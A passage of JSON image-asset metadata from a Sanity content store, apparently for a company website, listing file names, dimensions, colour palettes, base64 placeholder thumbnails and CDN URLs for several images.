itle":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#10a4a4","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c738c","foreground":"#fff","population":10.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb8c7","foreground":"#000","population":1.89,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7ddaf","foreground":"#000","population":0.11,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c738c","foreground":"#fff","population":10.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4cdce0","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"clouds.png","path":"images/sczeoy4w/production/032286b5651b1c4982ead92aab6935af79fd005f-1324x765.png","sha1hash":"032286b5651b1c4982ead92aab6935af79fd005f","size":33337,"title":null,"uploadId":"vdQEgmvhXcHmkWAUjI4XA0IKS39WpCjG","url":"https://cdn.sanity.io/images/sczeoy4w/production/032286b5651b1c4982ead92aab6935af79fd005f-1324x765.png"} {"_createdAt":"2023-07-21T13:46:25Z","_id":"image-bb6ed0850809c89cf9d03812933c0f2c89b756fb-1200x628-png","_rev":"liXun5Qglq4dGLky9TfY8B","_type":"sanity.imageAsset","_updatedAt":"2023-07-21T13:46:25Z","assetId":"bb6ed0850809c89cf9d03812933c0f2c89b756fb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNvQ.*V=,:d@~WpaZ$iei{ZNZOg3b]gM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACMUlEQVQokVWS20+TBxyGPySKRjfDxENHpkjhQxoocujA4jjoLkzMrhanmAWcYoxRwAMYBG0pLVhLtZTD9J/t85jPbze7+N0+eX7v+wbcOSrz7bIQylIoL0N51S0rPbLaK29DXQsll5KNlBSuyM6w/Dslh1mppqTSLZ/7ZG/IgLvHZaFH3o7J+jXJX5f8NdkYk9J1qdzQnWkpZ6V0VYopqY7I15tykJVyUrbapXxZKl0G3DshL/olPy2FaSnekM0JKWTlw5TU/9D6bdnKyOov8qZNNi5JtV8qvVK4IIWzUkrIZtt/wMWU5KZiYGFScqOSG5Gt3+TTLa3dkq1f5V1S8l1STsunQalcke0OKXdKuUOKFwyYOSmLvZKblOLvseH7UVkbkPeDUhzVjxOyPSabafmYkf0ov0mpj0htQOqDUuuTStKA+6di4Pq45CfiDN9l5GWHPG2VZ63yOiErCXl9RlbPSykq4arUh6SWlt2B+HbCqJQWmf9ZnnfLQpcsJWXpsjxplbkmedgkz0/K8k+yfFpWfpRcQnZ6ZXdQqlHrYWxY6zNo3DlqY+6MjfmEPDorD36Q2RaZbZa5QB41x2abSSkmZeOilDrlc1r2hqXaI5Uwfvtw1KDx1zEbD87ZeNweA2dPyP1A/g5kNgIekeU2KUdzSct2t5RD2R2Sg0y8v1r/dxhfxg0afzYZQbnXIjPHZKb5/8B/mmTxVJxbNJXI7kMoeyNyOCb7w7KfkS9Z+TruN7E4DEtgeTPUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#893f0f","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce5f17","foreground":"#fff","population":0.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935905","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac579","foreground":"#000","population":0.37,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b29455","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Announcing Aiven for Apache Kafka® cluster configuration backup.png","path":"images/sczeoy4w/production/bb6ed0850809c89cf9d03812933c0f2c89b756fb-1200x628.png","sha1hash":"bb6ed0850809c89cf9d03812933c0f2c89b756fb","size":177092,"uploadId":"7zuCnKC5yhUXjIEikGbV0dyYUYFSWM5Q","url":"https://cdn.sanity.io/images/sczeoy4w/production/bb6ed0850809c89cf9d03812933c0f2c89b756fb-1200x628.png"} {"_createdAt":"2023-06-28T08:25:18Z","_id":"image-cbfc040ffd70285a7843864ec6fb5caa59d71ab8-1666x1352-webp","_rev":"IN1wWLxm4Ro5JwpniDm74O","_type":"sanity.imageAsset","_updatedAt":"2023-06-28T08:25:18Z","assetId":"cbfc040ffd70285a7843864ec6fb5caa59d71ab8","extension":"webp","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.232248520710059,"height":1352,"width":1666},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAPoAAAD6AG1e1JrAAAE70lEQVQ4jYWU/1PSBxzG35iZrXKk5Vlp17XaVmnfzjs7i+Vymt4MED9+KU0uc5F2KOmk0uXWRJ1lXHmENTVE0EIFUkRRRALHEBDTD5qKihqm/qCz5bKm2Wen/8Ceu/evr+e557l7A/yPZmZmAEVRMJlM0Nvbi0NR1NlisXze39+/3mAw4JKSkoBMJq8nk8leFArFC6ZPnoOXoVS4lZsDAyHx8DowDiZPxYE98DwMn46HKesw9PT0rMBgZGRkQ3d3N8FgMFwwGo2Evr6+DSumERERbuHh4XsRBNkKS/4IAIaH/tNUGDwTB4NuOTDg/htY3e/ChNevMK55DuYOwwoMbDbbFqPRmKxWq5+pVKosvV7vhSCIU0RExE4EQXZHRUU5w9/KfbAAKUCDIcBQPCwU+cB8mi/8k7gfPtA9YeH+IVBrWmBsfAyMRqObSqW6JJPJmqRSKaeqqso3MjJyB4lE8kYQxINKpeJgzQEGuBxPhNS4H0B79A5O5851MO3lrEEP/74GPcJ36CRX4prvlMP42Ag0NDS4yuXycJlMVlZTU1NRWlp6NiEhwZdIJB5GEAQfEBCw0kDwavlY0GXcm0v+zu9/3u2xmOP+9b+ZbvsWrmzb8TZy32dT3gSHVzfyQSarX6fRaA62tray5HK5RCwWp6Snp/sRicQ9sbGxzkFBQQA7A6Pg6Dayoy41ED9bEeY7WxlCf/vwIOdDvjv33a1dGVOFkQHW4nvbLGyuk92kx5nNZvf29naKRqO5KhaLSTQa7RiRSNxFpVIdY2JiADy/YbgeCv3x2M10WixalcCxSZIsY8Lzc9Pc4LkJDmXYUnZTaOQ/itZUCr3VrSqfxsbGEyKR6Hh5ebkPg8E4GB0d7R8fH3+ATqe7ZGVlOcB2QuoRv/Brt1OupukU3IuvewUXPvY8vYF1PmFhpopcTF1aaFdw2SUyAZ/ZUC8rqqurKykrK7tMo9FOkEiko0wmMyAvL4/CYrF88/PzXWCzH/2rk5Fp2TeZSZb6wugPhofnPnU8ZS23Pnm03FqchzXnXXtbz/qpTVLOE0kkkhe1tbUv+Hx+WUFBAS0zM9OPx+OF8ni8nJKSkvM8Hm8L4HxSndMyMvwl7HiBvjjqjUHIxP6Q8T+pqx8v63IZWOcl8l/6NJpCKXpa2yCX/1lTXd0hFAr1IpFIoFAowpqbm49JJBKaRCIJa2lp2bi6sFr6wMPCO5s8zjujH3mSstAnvY+hAjZmy764OBP3rWnyBp1tVquF6ufPX9TX1fWJxeJRuVyu0+l0id3d3Z5tbW3btVrtVhRFHaCSzQKFrNpp4nHwF/PFh5PnOcflc0XEwdnfYobmGWFtS2cJ1+fYuaG9XV1MvV4vVyqVZqVSqW5vby8wm82EgYGB9QKBYDXY8PAwwOT1tdD27AFgheCwnLfJ42M2/tRHpmfiEn3/5UWq75kFsv8e++27rkO9L79Ee3rCOjo6rhgMBqrFYvEZHR3daDQacSuw3NxcaGpqAsAwDBqFXIA+DLLxAPMXYO37WBeXd5RdrrNhhE0Tp6Kc7N4kHGZ7hZuenl5ntVo39/f3461Wq6NKpQKtVguDg4Or6YaGhgCwlgzAHmyCxSIvWGoKARv5Lm78uyxHe3DaOntI8trJ76m42QoO/HL/3qr5yi0vL4NUKoXOzk7Q6/XQ1dW1+t6mpqbgP+EYfBMMu/lJAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344b54","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09295f","foreground":"#fff","population":0.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7770f","foreground":"#fff","population":2.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc3b1","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f54d32","foreground":"#fff","population":1.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d6c8b","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7770f","foreground":"#fff","population":2.62,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"sustainability-impact-cherry-blossom.webp","path":"images/sczeoy4w/production/cbfc040ffd70285a7843864ec6fb5caa59d71ab8-1666x1352.webp","sha1hash":"cbfc040ffd70285a7843864ec6fb5caa59d71ab8","size":140358,"uploadId":"XSlSTPtNs2JY72m05N2uqf2eVik2kIPz","url":"https://cdn.sanity.io/images/sczeoy4w/production/cbfc040ffd70285a7843864ec6fb5caa59d71ab8-1666x1352.webp"} {"_createdAt":"2023-07-21T14:00:35Z","_id":"image-afa0a2f1c9cf6ef648dd673779eb8d077fe9cdc3-512x512-png","_rev":"Q21J3pgWoUWkhUhtSovHnZ","_type":"sanity.imageAsset","_updatedAt":"2023-07-21T14:00:35Z","assetId":"afa0a2f1c9cf6ef648dd673779eb8d077fe9cdc3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eOPUb-{Rbuo_nizskSE}rZn%nQnjOWa#Sho_#:bat6W;5,R*V[wJs-","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEn0lEQVQ4jVWQe0xTdxzFv797+6a397aX0tJ6W6hQXsWKUihCfaIDHAyUTZjRTWacxj10BKLiA5zzkZhtZs64TZ0hytyG85XpDFnmxphsUouKoKXlbQv0cQsSAyJ3S/1vyfnj/PM55+SAh4IREkZJ8EkhIIGgFFgKAhSMSsFPACuHUCSMRcGYEoIq1BsvbsnTXy4zX8qNa5qrhCEKvNT/YTkE5eAjwC8LmxAd5kdo5FDzLyeT51bEnF1lOrki+UurAQbl4KFgVAZ+KQQjgCXCzaw8XOsnIPjSswr0mMbPacSfJNCfWmYdt80+aks8kJX0EpaDTwljWphgYCIaxmkIySFAhONYMpwVJFE3jV9hRGdS6IYMpt5qOJOVUJ/9EvYqYcyIpqzoRSaaTkSTUfCUDO8Pb5EBKwsHDSvQYwNuz5Dal2huLzXcWZLQtSwePCQE1DBpQjNLRVyujEsSPqfQUwmwERCQQpAIyy+FUQV4jagvR9i3QjmUr/cVGMby9OCVoqACTer404uZ6XLLlHX2uJIIRvBCYmAl4Rd8RPjO4WgYNCH3QpFruap/ZexwYby/IA4eyXF3JD5CC8esSRNbVofK8jzmeK9aEqJQiEQBEo2owBsHAxb0eBnekSfpKFDfLzQ6i1M8xYngSBS0pQjvaMX3Z2vd+YucJcsdC1M658uHzKLhOXzPXPyJDesvxjrX8v4sl94som/la9uKk93lc568aYB+W0RHDnEzkbqilP2qUf5iMlzIMV4piGktVT0oIzrXCl2b+K5t/Latkqvror8p0P+Qy9hLjD3rje4KDXgziUFLRHuytFkjbKH4N3SKU5bYE8vjvlutv75W2bxB8qhS4N4lbv1QcWG94WBu7KHMqPPL1LfWaNq3qMA/RzBu4T214KwJC+ixAZ2wxUieT1Mdt2lP5CqvvSFxVgpcNWRLpe7HjcYDr+i3zafrshWXylXt21UwtQDNLEbcEozLQVwamjaiUAzeEStqNJKn5xFNpUJ3lbCrJqq5ynhje+qpCtP+fObYyuimTcy9aga4Qoorjvy3NJor1XCLSS6Rx+nQhBq5lDyHie9cz+vbKb23S9e6M+mvuoyru7K+rUi4tolxVOs6agzAVdu4j4u4o+u4ulKuKJmLEXEqNEmjEQV6kol5twq6a6Ladyd0HZnn/Mr2z2fWP2qMnXs0PbXMo71JMFP16swX7784vffF7orp7IRpWvCcQqwMuaJRbwE+WBXRXs207DDdP7agryF74HRK7xFm4IDGVRvfsTsdptIMk0ULn63Je5Ztnogix4UYK4IeMfp7Fu4oEdjfo356izn5euzZzanNh8wDn8cMHdT27Dd07jPbd1qBFfEDcsIXSfkI8Qgf8+AwgMNdHvysxBsXSU+tUh/Mm1WZqdiRE/n9Br2z1tC7P95Zl3pvT/rvH1mhH0O9OObG8W4cc2LIiaAbgwc8+I3GG61k/Tqm4V398RL6cC596e24hzVmZ625a9/829UZFzda4CFCDxBqR+guQm0ADgAnBl4xDOvx7tdI12Fm6GudvU578Z3Y65vn2XdkOWvTu/alN31gOVmW9h/EJMiP1hW94wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#930905","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f0905","foreground":"#fff","population":1.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f40e04","foreground":"#fff","population":7.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e520a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b66c","foreground":"#000","population":5.94,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8b524f","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f40e04","foreground":"#fff","population":7.85,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Mischa Lieibenson.png","path":"images/sczeoy4w/production/afa0a2f1c9cf6ef648dd673779eb8d077fe9cdc3-512x512.png","sha1hash":"afa0a2f1c9cf6ef648dd673779eb8d077fe9cdc3","size":339455,"uploadId":"LvDmpoCenpPLHZa3zXXV2W7gYdj7Lzho","url":"https://cdn.sanity.io/images/sczeoy4w/production/afa0a2f1c9cf6ef648dd673779eb8d077fe9cdc3-512x512.png"} {"_createdAt":"2023-07-14T11:53:25Z","_id":"image-62c047b1bee298bec93e4f9d004a21b3e90ecce4-1664x1664-png","_rev":"pDdzqLCfBQpAVehlfnf0n9","_type":"sanity.imageAsset","_updatedAt":"2023-07-14T11:53:25Z","assetId":"62c047b1bee298bec93e4f9d004a21b3e90ecce4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHGuwS0M4;~UPC]f8_X9waozIp?aWBNfj^1SXUs7Io$fkRI9Rjo~wH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1664,"width":1664},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#72513d","foreground":"#fff","population":4.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#704012","foreground":"#fff","population":0.93,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#72513d","foreground":"#fff","population":4.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7cabd","foreground":"#000","population":1.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0e59d","foreground":"#000","population":0.12,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a829b","foreground":"#fff","population":0.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0a515","foreground":"#000","population":3.4,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Collages-careers-page-06232.png","path":"images/sczeoy4w/production/62c047b1bee298bec93e4f9d004a21b3e90ecce4-1664x1664.png","sha1hash":"62c047b1bee298bec93e4f9d004a21b3e90ecce4","size":3318537,"uploadId":"JwtLBCPFBNgkMapBSib5yoA4TTNxkE37","url":"https://cdn.sanity.io/images/sczeoy4w/production/62c047b1bee298bec93e4f9d004a21b3e90ecce4-1664x1664.png"} {"_createdAt":"2023-07-14T11:54:14Z","_id":"image-59b4265ae338fb64ece33b51dfbe5cfca3ffe14f-1664x1664-png","_rev":"pDdzqLCfBQpAVehlfnfEP7","_type":"sanity.imageAsset","_updatedAt":"2023-07-14T11:54:14Z","assetId":"59b4265ae338fb64ece33b51dfbe5cfca3ffe14f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eOG8l?~Vo~T0x[?GIURkjYkDI:kXxZs+W;9bS#RjaLMx4mD%D%kCt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1664,"width":1664},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e313c","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f4f96","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#af7b69","foreground":"#fff","population":3.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8afb3","foreground":"#000","population":0.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eec674","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af7b69","foreground":"#fff","population":3.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b43c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Collages-careers-page-0623.png","path":"images/sczeoy4w/production/59b4265ae338fb64ece33b51dfbe5cfca3ffe14f-1664x1664.png","sha1hash":"59b4265ae338fb64ece33b51dfbe5cfca3ffe14f","size":3116501,"uploadId":"Rp1Kev06whjCBDAzc8s9QaXTMy7553jQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/59b4265ae338fb64ece33b51dfbe5cfca3ffe14f-1664x1664.png"} {"_createdAt":"2023-07-13T10:16:17Z","_id":"image-dd1d2e6008b7dd6fdb956fd6bc769ed9253f68eb-1567x844-png","_rev":"2DKMiOi4Ekqsoc9oUQacu9","_type":"sanity.imageAsset","_updatedAt":"2023-07-13T10:16:17Z","assetId":"dd1d2e6008b7dd6fdb956fd6bc769ed9253f68eb","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACZElEQVQokSWRWVPaUACF8wskZM+9yb0JWRArOtXRblpxqagdd5A9LAmmAVEsBbFYHWqrle6lTp3+2lad+d7OnO88HIKGcQ6leJQGgbxkOFDbBbonBw+UUAOFWtBsAeMYGB1Ra3K4wiCXxS4NC6SQ8vExIhAqjD+tTc29mV85WXh5FomeRaLd2eWPSxtfIsu94NgpNN9C80TUmixyaanEIpdFHiWV/CBLBEecmRfNtVg3meslra+p/Pec/Tth9TP2TTz358n81cNnl2NTV0Pjp1CvMLLDq3VRa/FqnVNqhBl2ZqNHGzvnSauXKf6wyn3bu8kUr7fS/bWdXwur31e2r9cTfyPLn43RBq/uicYxMDtAb0PzlNAflGYWW2ux9+vxD9upXsL6li72Y5mfzxcvRh+fDU92x6Y+Tcz0Rh510WCdwx6n1DilxqsHQG8TOGhNTh9Eou3phaPZpXeLq+dL65dzKxfDEx1oNIDehGYHmh1Ra7DIpWCBAjkK5GipyOEKQYO4qGYk3ZL0AgqW1VA1MLSvDh1KRp0P1IXAa1Fvi9oRp+7Tku0HWQrm72GRS/i4rVv4OCkk77IiLZUZ2WNxlcUVTqneKzilSsG8X8ww8i6LPVoq0ZJNCMImlmNYz0GtwMp5ChYZucwij8UVWnYoWKBlm0WvGLnsF7OkmLq9CnsUtEghSajSZlhPhEccI+yKaolBJQ7v8kqVV/dY5FAwS0s5FjmMXCKFFCkk7jaLPiExwG0RSEkGtLQWLCiDtqQ70HBls4qC+3jwUDZrQHOA5kC9wmGbFBI+Pu4XM6SYGuBj/8v/APzaorFzKwgoAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d446a","foreground":"